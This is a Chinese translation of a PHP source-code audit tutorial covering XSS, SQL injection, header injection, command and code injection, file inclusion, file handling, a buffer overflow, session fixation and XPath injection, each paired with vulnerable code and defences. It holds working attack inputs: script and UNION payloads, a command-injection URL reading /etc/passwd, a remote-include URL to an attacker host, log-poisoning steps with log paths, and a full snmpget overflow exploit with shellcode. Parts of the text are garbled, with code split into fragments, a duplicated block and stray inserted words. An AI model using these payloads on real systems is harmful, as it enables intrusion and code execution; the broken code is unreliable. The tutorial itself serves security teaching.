PHP Fuzzing行动——源码审计

目录: 
Section 1: 
20种PHP源码快速审计方式  
Section 2: 
PHP源码审计自动化( PHP Fuzzer ) 
 
风险级别: ■ Low ■ Medium ■ High 
  
在开始PHP代码分析以前,读者必须先完成如下两项工做: 1.安装PHP程序; 
2.使用支持PHP代码高亮的编辑器(好比Emeditor - Notepad++)。 
笔者在下文中所提供的方法仅做为简单的攻击和防护参考。本文旨在介绍攻击和防护方法。 注意1:其中一些话题归Wikipedia版权全部 注意2:必须在PHP源码中寻找如下变量:  
$_SERVER $_GET $_POST $_COOKIE $_REQUEST $_FILES $_ENV 
$_HTTP_COOKIE_VARS $_HTTP_ENV_VARS $_HTTP_GET_VARS $_HTTP_POST_FILES $_HTTP_POST_VARS $_HTTP_SERVER_VARS  
以上变量均为PHP中的可输入变量。 
注意3:关于这些变量的更多信息可访问PHP官方网站:www.php.net。  
Section 1: 20种PHP源码快速审计方式 javascript

1- Cross Site Scripting (XSS) / CRLF [Medium] 
跨站脚本(XSS)属于WEB程序中的一类计算机安全漏洞,它容许在用户浏览的网页中注入恶意代码,好比HTML代码和客户端脚本。可利用的跨站脚本漏洞可被攻击者用于绕过访问控制,好比同源策略(same origin policy)。这类漏洞可被用于构造钓鱼攻击和浏览器攻击。  
攻击: 
攻击者在其请求中注入HTML代码。 
Exp 1: <?php 
$error_message = $_GET['error']; print $error_message ; ?> 
index.php?error=<script>alert(document.cookie)</script> 
Exp 2: <html> <body> 
<input name="show_courses" value="<?php echo $_GET['show_courses']; ?>" > </body> </html> 
#http://127.0.0.1:81/1.php?show_courses="><script>alert(document.cookie);</script>  
防护: 
<?php 
$error_message = $_GET['error']; 
print htmlspecialchars($error_message ); ?> 
 
更多资料: 
http://ha.ckers.org/xss.html 
http://en.wikipedia.org/wiki/Cross-site_scripting 
http://www.googlebig.com/forum/cross-site-scripting-attack-and-defense-guide-t-178.html  
2- SQL Injection [medium] 
SQL注入是利用WEB程序数据层的安全漏洞进行代码注入的技术。当用户输入的数据中并未对嵌入的SQL声明语句进行正确过滤时,或者用户并无被严格地限制输入,从而致使恶意代码被执行,就有可能形成SQL注入漏洞。这是一类很广泛的安全漏洞,它可在任什么时候候发生于被嵌入的编程或脚本语言之中。  
攻击: 
SQL注入是PHP代码审计过程当中发现的最为严重的漏洞之一,关于这类攻击更多的信息可php

 

 


以经过阅读下面提供的参考资料得到,而这里只是简述此类漏洞而已。  
Example 1: <?php 
$id= $_GET['id']; 
$query= "SELECT * FROM users WHERE id= ' “ .$id." ;" ... ?> 
index.php?id=1+UNION+SELECT+1,@@version,3,4,5+from+users/*  
Example 2: 
#login.php: 
<? 
//login.php -- SQL Injection Vulnerable page //Attack and defence php apps book //shahriyar - j 
$user = $_POST['user']; $pass = $_POST['pass']; 
$link = mysql_connect('localhost', 'root', 'pass') or die('Error: '.mysql_e rror()); 
mysql_select_db("sql_inj", $link); 
$query = mysql_query("SELECT * FROM sql_inj WHERE user ='".$user."' AND pas s ='" .$pass. "'",$link); 
if (mysql_num_rows($query) == 0) { 
echo"<scripttype=\"text/javascript\">window.location.href='index.html';</sc ript>"; exit; } 
$logged = 1; ?> 
 
当用户(可能为攻击者)发送$_POST['user'] , $_POST['pass']给 login.php时,这
些变量直接存储在SQL请求命令中。若是攻击者发送: 
$user = 1' OR '1' = '1 $pass = 1' OR '1' = '1 
将会绕过login.php的登录验证,读者当注意此类代码。  
防护: 
下面是通用的防注入代码: 
<?php 
$title = $_POST['title']; // user input from site 
$description = $_POST['description']; // user input from site // define the cleanerhtml

$dirtystuff java

= array(mysql

"\""程序员

web

"\\"正则表达式

sql

"/"shell

"*"

"'"

"="

"- 

"

"#"

";"

"<"

">"

"+"

"%"

); 

// clean user input (if it finds any of the values above, it will replace it with 

whatever is in the quotes - in this example, it replaces the value with nothing) 

$title 

str_replace

(

$dirtystuff

""

$title

); 

// works! 

$description 

str_replace

(

$dirtystuff

""

$description

); 

// works! 

// input: I\ "like/ green< ** veg'et=a-bles> and< pizza** 

// output: I like green vegetables and pizza 

// input: a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% 

// output: aDROP TABLE users SELECT FROM data WHERE name LIKE 

?> 

<

译注:最好仍是采用白名单的过滤方式

 

更多信息

 

http://en.wikipedia.org/wiki/Sql_injection 

http://drewish.com/files/SQL Injection Overview.ppt 

http://www.php.net/manual/en/security.database.sql-injection.php 

 

攻击实例:

 

http://www.milw0rm.com/papers/241 

http://www.milw0rm.com/papers/202

$dirtystuff = array("\"", "\\", "/", "*", "'", "=", "- ", "#", ";", "<", ">", "+", "%"); 
// clean user input (if it finds any of the values above, it will replace it with whatever is in the quotes - in this example, it replaces the value with nothing) $title = str_replace($dirtystuff, "", $title); // works! 
$description = str_replace($dirtystuff, "", $description); // works! // input: I\ "like/ green< ** veg'et=a-bles> and< pizza** // output: I like green vegetables and pizza 
// input: a';DROP TABLE users; SELECT * FROM data WHERE name LIKE '% // output: aDROP TABLE users SELECT FROM data WHERE name LIKE ?> 
<译注:最好仍是采用白名单的过滤方式>  
更多信息 : 
http://en.wikipedia.org/wiki/Sql_injection 
http://drewish.com/files/SQL Injection Overview.ppt 
http://www.php.net/manual/en/security.database.sql-injection.php  
攻击实例: 
http://www.milw0rm.com/papers/241 http://www.milw0rm.com/papers/202 
 
2- HTTP Response Splitting [Medium
HTTP响应分裂是一种WEB程序漏洞,它能够致使应用程序或者环境设置对输入值的过滤失效,也能够执行跨站脚本攻击,跨用户攻击,WEB缓存中毒以及其它相似的攻击。  
重要的HTTP头列表: 

 

在PHP语言中,咱们可使用”header”函数来设置HTTP头,在一些PHP源码中,你能够发现"header", "$_SERVER"等函数。在"$_SERVER"函数中的一些参数包含有用户输入的
数据: 
REQUEST_URI, PATH_INFO, QUERY_STRING 

 

Example 1: 

<?php 

redirect_page 

$_GET

[

'page'

]; 

header 

(

"Location: " 

redirect_page

); 

?> 

redirect.php?page=http://www.abysssec.com 

For $_SERVER: 

<?php 

echo 

"Welcome From " 

$_SERVER

[

'HTTP_REFERER'

]; 

?> 

 

可使用

Mozilla Firefox

插件

"Tamper Data"

来发送一般的

HTTP header

 

https://addons.mozilla.org/en-US/firefox/addon/966

 

Example 2 : 

<?php 

$Name 

"test"

//senders name 

$email 

"email@adress.com"

//senders e-mail adress 

$recipient 

$_GET

[

'to'

];

//recipient 

$mail_body 

"The text for the mail..."

//mail body 

 

$subject 

"Subject …"

//subject 

$header 

"From: "

$Name 

" <" 

$email 

">\r\n"

mail

(

$recipient

$subject

$mail_body

$header

); 

//mail command :) 

?> 

 

CRLF

HTTP Response Splitting

的另外一种方式。在上面的例子中,行

4

中的

$recipient

变量并无对全部的输入数据进行检测,以至攻击者能够添加“

CC

”:

 

默认输入为:

 

$headers = "From: myplace@here.com\r\n"; 

$headers .= "CC: sombodyelse@noplace.com\r\n"; 

“CC” 

 

”From” 

 

\r\

n” 

分隔。

 

 

污染输入:

 

Mail.php?to=info@test.com\r\nCC: sombodyelse@noplace.com

 

 

防护:

 

1- 

检测

Mail Header

的输入值

 

2- 

可以使用如下方式输入,而不用

URL

输入:

 

<?php 

$id 

$_GET

[

'url_id'

]; 

if (

$id 

== 

1

) { 

header 

(

"Location: " 

redirect_page

); 

?> 

 

 

<?php 

echo 

"Welcome From " 

htmlspecialchars

(

$_SERVER

[

'HTTP_REFERER'

]); 

?> 

攻击实例

(video) : 

http://www.milw0rm.com/video/watch.php?id=28 

http://www.securiteam.com/unixfocus/6F00Q0K6AK.html 

http://o0o.nu/~meder/o0o_Blogger_HTTP_response_splitting.txt 

http://www.securityfocus.com/archive/1/369405

 

4- 动态赋值漏洞 [High]: 
1-当使用动态函数加载时,可经过请求来执行指定的函数,致使攻击者能够执行任意函数。 攻击: 
<?php 
$myfunc = $_GET['myfunc']; $myfunc(); ?> 

 

 


Index.php?myfunc=phpinfo 
2-全局函数漏洞 
Register Global是危险的“PHP扩展”: 当其打开时,register_globals可利用各类变量注入脚本代码,好比来自HTML表单的请求。这种漏洞主要与PHP变量未初始化相关,以至垂手可得地便可向其写入恶意代码。这是一个艰难地抉择,但PHP官方最后依然决定在默认状况下禁止该指令。当容许该指令时,用户仍可以使用变量,但没法肯定它是来自哪里,而只能靠猜想。在脚本中定义的内部变量很容易与用户发送的请求数据相混淆,而只能经过禁止register_globals来解决这种状况。下面演示一个未使用register_globals的例子: 
Admin.php <?php 
if (isset($is_admin)) { 
//Yes, I'm the admin so call the Administration Pannel [...] } else { 
//No, I'm not the admin [...] } ?> 
# admin.php?is_admin=1 
另外一个说明register_globals存在问题的例子就是下面关于动态路径的包含: 
<?php 
include "$path/script.php"; ?> 
当容许register_globals时,可用如下方式请求页面: Index.php?path=http://evil.example.org/? 至关于下面的请求: 
<?php 
include 'http://evil.example.org/?/script.php'; ?> 
 
注意(php.ini配置): 
若是allow_url_fopen 是enabled(默认状况下是enabled,甚至在php.ini中民被推荐的设置),这将包含http://evil.example.org/的输出,正如本地文件通常。这是一个严重的安全
漏洞,这也是在一些开源的代码程序中被发现的。 防护: 
不要使用这种方式去加载函数,这是一个危险地带!任什么时候候,任何状况下,Register Global都应该关闭!或者将变量的内容设置以下: 
<?php 
$is_admin =(); 
if (isset($is_admin)) { 
//Yes, I'm the admin so call the Administration Pannel [...] } else { 

 

 


//No, I'm not the admin [...] } ?> 
 
攻击实例 / 信息: 
http://www.milw0rm.com/exploits/7705 
http://wiki.lunarpages.com/PHP_and_Register_Global_Variables

5- 进程控制/PHP代码注入 (HIGH): 
当咱们使用下列函数:“PHP进程执行函数&进程控制”,而且用户能够输入变量(见上面),那么将致使任意的PHP代码被执行。 PHP进程控制列表: 
Exec system passthru shell_exec proc_open pcntl_exec  
Example 1: 
<?php 
$page = $_GET['page']; system ("type " . $page); ?> 
# index.php?page=/etc/passwd | uname –a  
Example 2: 
下列代码是来自一项管理系统的WEB程序,它容许用户封装批处理文件进行Oracle数据库备份,而后运行cleanup.bat脚本去清除一些临时文件。rmanDB.bat可接受单命令行参数,
由它指定备份类型。由于数据库访问是受限的,备份程序须要权限用户才可执行。 
<? ... 
$btype = $_GET['backuptype']; 
$cmd = "cmd.exe /K \"c:\\util\\rmanDB.bat " . $btype . "&&c:\\utl\\cleanup. bat\""; system(cmd); ... ?> 
这个问题主要是读取用户数据的backuptype参数时未对其进行任何有效地过滤所致使的。特别是Runtime.exec()函数将不能执行多条命令,但在这种状况下,程序为了单次调用Runtime.exec()以执行多条命令,它就得先去执行cmd.exe shell。Shell一经调用,它将会分别执行被点号分隔的多条命令。若是攻击者发送一条经恶意构造的命令"&& del 

 

 


c:\\dbms\\*.*",那么程序将随之执行该条命令。因为程序须要必定的权限才能与数据库交互,所以被注入的任何命令都将以此权限运行。 
当程序员使用eval()函数操做内部数据时,这些数据均可能会被攻击者关注到,由于它很容易致使代码执行漏洞的发生: 
<?php 
$install = $_REQUEST['install_command']; eval($install); ?> 
上面的代码如玫瑰香通常诱人,由于它可能被用来执行代码注入。 install.php?install_command=phpinfo(); 实例代码: 
<?php [...] 
$register_poll_vars = array("id","template_set","action"); for ($i=0;$i<sizeof($register_poll_vars);$i++) { if (isset($HTTP_POST_VARS[$register_poll_vars[$i]])) { eval("\$$register_poll_vars[$i] = 
\"".trim($HTTP_POST_VARS[$register_poll_vars[$i]])."\";"); } elseif (isset($HTTP_GET_VARS[$register_poll_vars[$i]])) { eval("\$$register_poll_vars[$i] = 
\"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";"); } else { 
eval("\$$register_poll_vars[$i] = '';"); }} [...] ?> 
$$register_poll_vars[$i] 是用户输入的变量。 
 
http://[target]/comments.php?id=";[PHPCODE]//&template_set=";[PHPCODE]//&action=";[PHPCODE]// 
 
攻击实例: 
http://www.milw0rm.com/exploits/3758 http://www.milw0rm.com/exploits/309

 

 

6- 本地/远程文件包含(High): 
本地或者远程文件包含是PHP代码审计中的高危漏洞,攻击者可利用它加载本地或者远程文件到PHP WEB页面。 危险函数: 
include 
include_once require 
require_once show_source

highlight_file 

readfile 

file_get_contents 

fopen 

file

 

 

一般,

PHP

中的每个“文件系统函数”均可能是危险的,可参见这里:

 

http://ir.php.net/manual/en/ref.filesystem.php

 

本地文件包含:

 

<?php 

include(

'../geshi.php'

); 

if ( isset(

$_POST

[

'submit'

]) ) //* 

//* 

if ( 

get_magic_quotes_gpc

() ) 

$_POST

[

'source'

] = 

stripslashes

(

$_POST

[

'source'

]); 

if ( !

strlen

(

trim

(

$_POST

[

'source'

])) ) 

//BUG is HERE 

$_POST

[

'source'

] = 

implode

(

''

, @

file

(

'../geshi/' 

$_POST

[

'language'

] . 

'.php'

)); 

$_POST

[

'language'

] = 

'php'

?>

 

在星号

*

标记的一行中,若是存在变量

$_POST 

['submit']

 

$_POST 

['language'],

那么你就

能够读取任何的

PHP

文件。所以,咱们能够利用此漏洞读取

config.php

文件!

 

Exploit: 

<form action="http://[HOST]/example.php" method="post"> 

Path to file: 

example: ../../../../config 

<textarea name="language"></textarea> 

<input type="submit" name="submit" value="See"> 

</form>

 

注意:

 

在本地文件包含(

LFI

)攻击中,攻击者可读取对方主机中的任何日志文件和本地文件。也

许这种文件浏览并不能形成多大危害,

但攻击者可先构造一个错误,

而后该错误会被记录在

服务器上的日志文件中

(apache log / error log

等等

)

。当攻击者向目标主机请求一个未

存在的文件时:

 

Test000.php?code=<?php;phpinfo();?>

 

这将会把全路径地址都记录在

error.log

文件中

(在本例中,

你的日志文件路径可能与笔者不

同)

与此同时,

当咱们利用

LFI

漏洞的变量去加载

error.log

时,

攻击者便可执行本身的

PHP

代码。

 

默认日志文件路径列表:

 

var/log/httpd/access_log 

 

var/log/httpd/error_log 

apache/logs/error.log 

apache/logs/access.log 

apache/logs/error.log 

apache/logs/access.log 

apache/logs/error.log 

apache/logs/access.log 

apache/logs/error.log 

apache/logs/access.log 

apache/logs/error.log 

apache/logs/access.log 

logs/error.log 

logs/access.log 

logs/error.log 

logs/access.log 

logs/error.log 

logs/access.log 

logs/error.log 

logs/access.log 

logs/error.log 

logs/access.log 

etc/httpd/logs/access_log

 

etc/httpd/logs/access.log 

etc/httpd/logs/error_log 

etc/httpd/logs/error.log 

var/www/logs/access_log 

var/www/logs/access.log 

usr/local/apache/logs/access_log 

usr/local/apache/logs/access.log 

var/log/apache/access_log 

var/log/apache/access.log 

var/log/access_log 

var/www/logs/error_log 

var/www/logs/error.log 

usr/local/apache/logs/error_log 

usr/local/apache/logs/error.log 

var/log/apache/error_log 

var/log/apache/error.log 

var/log/access_log 

var/log/error_log 

Example: 

http://www.milw0rm.com/exploits/2270

 

(译注:关于更多的

LFI2RCE

技术能够参见我在博客

http://riusksk.blogbus.com

上写的一篇

文章《利用

PHP

代码实现

LFI2RCE

,

网上对本文的转载是不完整的,由于后来我又补写了

 

一段上去。

 

 

远程文件包含:

 

远程文件包含攻击容许恶意用户在存在漏洞的主机上运行本身的

PHP

代码,攻击者可包含

存放在网上空间中用

PHP

编写的网页(恶意)代码。例以下面的一段漏洞代码:

 

<?php 

if (

eregi

(

"theme.php"

$_SERVER

[

'PHP_SELF'

])) 

die(); 

global 

$theme

$_FNROOTPATH

,

$lang

//<-- REQUEST Variable 

global 

$forumback

$forumborder

$_FN

[

'table_background'

]=&

$forumback

$_FN

[

'table_border'

]=&

$forumborder

if (

$forumback

==

"" 

&& 

$forumborder

==

""

){ 

$forumback

=

"ffffff"

$forumborder

=

"000000"

// Load File 

require_once (

$_FNROOTPATH 

"themes/$theme/theme.php"

); 

... 

?>

 

Exploit:

 

因为变量

$_FNROOTPATH

未明确地指定数值,所以攻击者能够注入本地的恶意文件到

URL

中,

并在目标服务器上执行:

 

http://localhost/~flatnux/index.php?_FNROOTPATH=http://attacker.com/shell.php%00

 

攻击实例:

 

http://www.milw0rm.com/exploits/8066 

http://www.milw0rm.com/exploits/8025 

http://www.milw0rm.com/exploits/7939 

http://www.milw0rm.com/exploits/7969 

http://www.milw0rm.com/exploits/6817

 7 –文件管理 (HIGH):

有些PHP函数可用于文件管理,若是偷懒的程序员没有对输入变量进行很好地检测,那么就可能形成这种高危漏洞。 
Copy函数: <?php 
$file = $_GET['cpFile']; 
$newfile = "/user/local/www/html/tmp/file.php"; if (!copy($file, $newfile)) { echo "failed to copy $file...\n"; } else { 
echo " thanks .." } ?> 

 

 


攻击者能够复制其它文件,好比'/etc/passwd' into '$newfile',而后读取它。 http://victim.com/index.php?cpfile=/etc/passwd 其它危险函数以下: 文件删除 [见PHP.Net]: 
Rmdir unlink delete fwrite 
压缩 & 解压缩函数: 
<?php 
$file = "/tmp/foo.bz2"; 
$bz = bzopen($file, "r") or die("Couldn't open $file for reading"); bzclose($bz); ?>

8- 缓冲区溢出 (High, 但难利用):

当程序员使用下面的危险函数时: confirm_phpdoc_compiled mssql_pconnect mssql_connect crack_opendict snmpget 
ibase_connect 
缓冲区溢出漏洞就可能发生在上面的函数中。  
缓冲区溢出举例(snmpget()): 
<?php 
$host = $_GET['host']; $timeout = $_GET['timeout']; 
$syscontact = snmpget("$host", "public", "$timeout"); ?>  
Exploit: 
<?php 
// PHP 4.4.6 snmpget() object id local buffer overflow poc exploit // rgod [-> R.I.P] + Edited By Abysssec INC // site: http://retrogod.altervista.org // win xp sp2 version 
if (!extension_loaded("snmp")){ 
die("you need the snmp extension loaded."); } 
$____scode= "\xeb\x1b". 

 

 


"\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". 
"\xbb\x6d\x13\x86\x7c". //WinExec "\xff\xd3". "\x31\xc0". "\x50". 
"\xbb\xda\xcd\x81\x7c". //ExitProcess "\xff\xd3". 
"\xe8\xe0\xff\xff\xff". "\x63\x6d\x64". "\x2e". "\x65". "\x78\x65". "\x20\x2f". "\x63\x20". 
"start notepad & "; 
$edx="\x64\x8f\x9b\x01"; //jmp scode 
$eip="\x73\xdc\x82\x7c"; //0x7C82DC73 jmp edx 
$____suntzu=str_repeat("A",188).$edx.str_repeat("A",64).$eip.str_repeat("\x 
90",48).$____scode.str_repeat("\x90",48); 
//more than 256 chars result in simple eip overwrite $curl = curl_init(); //Send Time out 
curl_setopt ($curl, CURLOPT_URL, "http://target.com/snmp.php?host=127.0. 0.1&timeout=$____suntzu"); curl_exec ($curl); curl_close ($curl); ?>

9- Cookie / Session injection / Fixation / [High]: 

 



所以这里并非执行攻击的最薄弱点。 
捕获有效的会话ID是最为广泛的会话攻击类型,固然,这还有不少其它方法。因为会话ID是在cookies或者GET变量中传输的,所以各类攻击方式都主要聚焦于这些传输方式。当浏览器存在一些关于cookies的漏洞时(大部分是发生在Internet Explorer中),cookies
比GET变量曝露会话ID的机率更低,所以对于大多数使用cookies的用户,你能够为他们提供一种更为安全的传输机制——利用cookie传输会话ID。 
 
注视法是获取有效会话ID最为简单的方式。这种方法很难被防护,但若是你的会话机制仅仅使用session_start(),那么就可能存在漏洞。为了演示这种会话注视法,请看
下面的代码,session.php: 
 <?php 
session_start(); 
if (!isset($_SESSION['visits'])) { 
$_SESSION['visits'] = 1; } else { 
$_SESSION['visits']++; } 
echo $_SESSION['visits']; ?> 
 
当首次访问该页面时,你能够看到1被输出到屏幕上。在随后的每次访问中,该数值将会随之增长,以反映页面访问次数。 
为了演示session fixation,首先须要确保你的电脑上并不存在会话ID(能够删除cookies),而后将?PHPSESSID=1234添加到URL中以访问该页面。接着,以彻底不一样
的浏览器(甚至是彻底不一样的计算机)访问添加了?PHPSESSID=1234的URL地址。此时你将会看到屏幕上并无输出1,而是继续你以前开始的会话。 
为什么存在这种问题呢?大部分的session fixation攻击只是简单地使用一个连接或者一个协议,以将用户重定向到一个包含会话ID的URL地址的远程站点。用户可能并不会注意到,由于这个站点将显示彻底相同的内容。因为会话ID已被获知了,那么就能够利用它来发动伪造攻击,好比会话劫持(session hijacking)。 
 一次像这样简单的攻击是很容易被阻止的。若是正在活动的会话与用户拥有的会话ID无关,那么它能够从新生成会话ID: 
<?php 
session_start(); 
if (!isset($_SESSION['initiated'])) { 
session_regenerate_id(); $_SESSION['initiated'] = true; } ?> 
 

 

 


对于这样简单的防护,攻击者只需用一个特定的会话ID初始化session便可,而后使用该ID发动攻击。为了阻止这类攻击,首先应当知道会话劫特只在用户登录后有效,或者要否则就是得到高权限后才有用。所以,若是当权限级别改变时(例如核实用户名和密码后),咱们就应该修改即将从新生成的会话ID,这样咱们才能真正地消除被session fixation攻击的风险。  
会话劫持(Session Hijacking) 
 
在全部被用来访问他人会话的攻击技术中,会话劫持无疑是最广泛的一种会话攻击技术。正如session fixation同样,若是你的会话机制仅由session_start()组成,那么它就存在
漏洞,即便利用起来并不简单。与其关注如何阻止会话ID被窃取,倒不如想一想如何成功地完成一次会话ID窃取。因为会话伪造的每一步复杂化都会提升咱们的安全性,所以为了将会话劫持复杂化,咱们须要检查成功完成会话劫持所须要的每一步骤。在每一种方案中,咱们都将假设会话ID已被窃取。在最为简单的会话机制中,一个有效的会话ID是会话劫持成功与否的关键所在。为了完善它,咱们须要查看用于其它认证的HTTP请求中是否还有其它东西。  
注意 
单纯地依靠TCP/IP层上的东西(好比IP地址)是不明智的,由于一些更为底层的协议没法兼容发生在HTTP层上的行为。一个用户可能用不一样的IP地址去完成每一次的请求,多个用户也可能拥有共同的IP地址。  
一个典型的HTTP requtest: 
GET / HTTP/1.1 Host: example.org 
User-Agent: Mozilla/5.0 Gecko 
Accept: text/xml, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234 
 
因为Host header是HTTP/1.1所必需的,所以依靠其它信息是不明智的。可是,防护的坚固程度确实是咱们所须要的,由于咱们关注的是如何增长会话伪造的难度,以防止危害到合法用户。假设以前的request是由下面与之不一样的User-Agent请求的:  
GET / HTTP/1.1 Host: example.org 
User-Agent: Mozilla Compatible (MSIE) 
Accept: text/xml, image/png, image/jpeg, image/gif, */* Cookie: PHPSESSID=1234 
 
虽然相同的cookie是存在的,可是是否能够假设它们是同一用户呢?这彷佛与浏览器更改请求包中的User-Agent header很不一样吧?下面咱们修改会话机制以进行对比: 
 
<?php 
session_start(); 

 

 


if (isset($_SESSION['HTTP_USER_AGENT'])) { 
if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) { 
/* Prompt for password */ exit; } } else { 
$_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']); } ?> 
 
如今攻击者不只须要提供一个有效的会话ID,并且还必须提供与会话中相匹配的
User-Agent header。虽然这使事情轻微的复杂化,但这可使它变得更为安全了。 
咱们是否还能够再提升它的安全性呢?人们认为获取cookie值的通用方式就是利用浏览器(好比IE)漏洞。这些攻击方式包括受害者访问攻击者的恶意站点,所以攻击者也能够获取正确的User-Agent header。这就要求咱们必须采起其它的保护方式以对抗这种状况。
若是咱们要求用户在每一项请求中都必须传输User-Agent的MD5值,那么攻击者将没法篡改受害者的请求包中所包含的头信息了,但这也将须要再发送一项附加信息了。当这一特定的token容易被猜想到时,咱们能够将这一猜测工做复杂化,以提升猜测的难度,这只需简单地添加一个随机生成的额外数据便可构造出token:  
<?php 
$string = $_SERVER['HTTP_USER_AGENT']; $string .= 'SHIFLETT'; 
/* Add any other data that is consistent */ $fingerprint = md5($string); ?> 
 
记住,咱们是在cookie中传输会话ID的,这就致使了攻击者经常得去破坏cookie(可能全部的HTTP头也是如此)才能窃取到会话ID,所以咱们应该以URL变量来传输fingerprint。
这些都必须在全部的URL中传输,即便是会话ID也是如此,由于这些都是必需的,这样会话才能自动地保持下去(还得经过全部检测)。 
为了确保合法用户不会像犯人同样被对待,这就须要在检测失败时要求输入密码。若是在你的检测方法中存在错误,好比错误地判断一个发动伪造攻击的用户,那么在继续操做前就得要求输入密码,以确保在这种状况下受到最小的攻击。事实上,用户可能在察觉到这种请求方式后,会感激你添加了这种保护方式。 
其实还有其它各类不一样的方法能够用来提升伪造会话的复杂程度,以防止发生会话劫持。同时但愿在对session_start()的额外处理上,你能够有本身的想法。总之只需记住:为难坏小子,方便好小子。  
攻击实例: 

 

 


http://www.milw0rm.com/exploits/3508 http://www.milw0rm.com/exploits/858 http://www.milw0rm.com/exploits/871

10 – 拒绝服务[Medium, But Hard Assessment]:

WEB程序特别容易受到拒绝服务攻击。一个WEB程序很难讲清恶意数据传输与普通数据传输之间的不一样,这里面有多方面的因素,可是其中最为重要的一点就是:因为多种缘由,IP地址不能做为可行的鉴定证书。因为没有一种可靠的方式能够得知HTTP request来自哪
里,这就致使很难过滤掉一些恶意的数据传输。对于分布式攻击,程序又该如何去辨别真实攻击与多用户同时重载数据(网站的这种临时问题是可能发生的)或者获取“slash dotted”之间的不一样呢? 
例如:  
<?php //.... 
$user_mode=$_SERVER['HTTP_USER_AGENT']; $user_ip=$_SERVER['SERVER_ADDR']; 
$sql = "INSERT INTO tbl_name (..) VALUES($user_mode,$user_ip);"; //Summon Myssql For each Request and Write into it. //.. ?> 
 
当一些访问者请求查看目标站点时,他们的信息(例如IP及浏览器信息)将会被记录在MYSQL数据库中。与此同时,当一些用户(或者一些攻击者发动请求)发送请求后,Mysql 服务器将对其进行处理。 
其它循环函数,好比:[While, for ...] 
一旦攻击者可摧毁一些必需的资源,那么他们就能够阻止合法用户使用系统。一些被限制的资源包括带宽,数据库链接,磁盘存储,CPU,内存,线程,或者程序特定资源。 
 
攻击实例: 
http://archive.cert.uni-stuttgart.de/bugtraq/2006/01/msg00397.html 
http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2006-03/msg00092.html 
 
在上例中:  
profile.php:注册用户,注册中咱们可使安全代码图片失效 search.php:经过数据库不能记录到的方式进行搜索。

11 - XPath注入 [XML函数]: 

SQL注入是最为广泛的代码注入攻击方式,但咱们这里要讲述的是其它一些可危害到你的程序及数据的其它注入攻击方式,主要包括LDAP注入和XPath注入。'XPath injection'与

 

 


SQL注入攻击类似,但它的攻击目标是XML document,而非SQL数据库。'XPath Injection'是用于攻击WEB站点的攻击技术,用于构造来自用户提供的XPath请求。 
例如:  
<?php 
$test = $_GET['test']; if ($test){ 
$xml = simplexml_load_file("1.xml"); $result = $xml->xpath($test); print_r($result); } ?> 1.xml : 
<?xml version="1.0" encoding="UTF-8"?> <note> 
<to>Tove</to> <from>Jani</from> 
<heading>Reminder</heading> 
<body>Don't forget me this weekend!</body> </note> 
 
Good Query : 
Index.php?test=from  
Good Result : 
Array ( [0] => SimpleXMLElement Object ( [0] => Jani ) )  
Bad Query : Index.php?test=*  
Good Result For US ! : 
Array ( [0] => SimpleXMLElement Object ( [0] => Tove ) [1] => SimpleXMLElement Object ( [0] => Jani 
) [2] => SimpleXMLElement Object ( [0] => Reminder ) [3] => SimpleXMLElement Object ( [0] =>Don't forget me this weekend! ) )  
这是一个存在漏洞的PHP程序! 注意: 
Xpath Injection有多种方式,好比SQL/Xpath Inject , Basic Xpath Inject & …  
更多信息: 
http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf http://www.ibm.com/developerworks/xml/library/x-xpathinjection.html http://joginipally.blogspot.com/2007/10/code-injection-xpath-injection.html 

 

 


http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml 
 
攻击实例: 
http://www.securityfocus.com/archive/1/466211

12 – 常被滥用: 文件上传 (High): 

当容许文件上传到你的系统时,你就得承担必定的风险,由于文件可能并不是它所显示出来的那样(假装为图片以上传PHP脚本,并将其移动到他们能够运行它的地方等等)。若是你的站点不须要上传文件,那么禁止它将能够防止因疏忽形成的错误而被上传恶意文件。 
Example 1:下列代码用于处理上传的文件,它将文件移动到WEB根目录下。攻击者能够上传恶意PHP源文件给该程序以及来自服务端的后续请求,这将致使它们被PHP解释器执行(查找$_FILES函数)。  
<?php 
$udir = './'; // Relative path under Web root 
$ufile = $udir . basename($_FILES['userfile']['name']); 
if (move_uploaded_file($_FILES['userfile']['tmp_name'], $ufile)) { echo "Valid upload received\n"; } else { 
echo "Invalid upload rejected\n"; } ?> 
 
即便程序将文件存储在一个不可经过WEB访问的目录下,攻击者依然能够将恶意内容注入到服务端环境中以发动其它攻击。若是程序易遭受到路径操做,命令注入或者远程文件包含漏洞等的影响,那么攻击者可能会上传一个包含恶意内容的文件,以使程序经过可利用的漏洞去读取或执行它。  
攻击 (发送文件):  
<html> 
<body> <form enctype="multipart/form-data" method=POST> 
<input type=file name="userfile"> <input type="submit"> </form> 
</body> </html> 
 
防护: 
若是用户并不须要上传文件,那么就关闭它。 PHP.ini: 
file_uploads = off  

 

 


攻击实例: 
http://www.milw0rm.com/exploits/2937 
http://securityvulns.com/Tdocument590.html 

13 – 函数/文件的未认证调用(Medium):

一些管理目录下的文件本来是禁止访问的,但因为程序员忘记对这些文件进行验证,以至漏洞的发生。攻击者必须对存在此问题的文件进行检测。当PHP程序在未经许可的状况下调用管理函数时,攻击者可调用这些函数:  
#index.php <?php 
include ("Function.php"); $action=$_GET['action']; 
if ($action == $actionArray[$action][0])) { #load proper Function with $_GET ... } ?> 
 
#Function.php <?php 
$actionArray = array( 
'activate' => array('Register, 'Activate'), 'admin' => array('Admin', 'Admin'), 'upload'=> array('Post', 'upload'), 'ban' => array('ManageBans', 'Ban), ); 
function Forum (){ #Authorize Function ... } 
Function upload (){ 
# admin function without Permission ... } } 
本例中攻击者可在未经许可的状况下加载管理函数: # index.php?action=upload

14 – 经过暴力破解绕过登录验证 (Low): 

当程序员未对尝试登录失败的次数进行检测时,攻击者能够在一些登录页面上经过暴力破解绕过验证。 

 

 


注意:当一个懒惰的程序员使用basic authentication来保护他/她的控制面板时,这将给攻击者提供一次暴力破解的机会。  
<?php 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized'); 
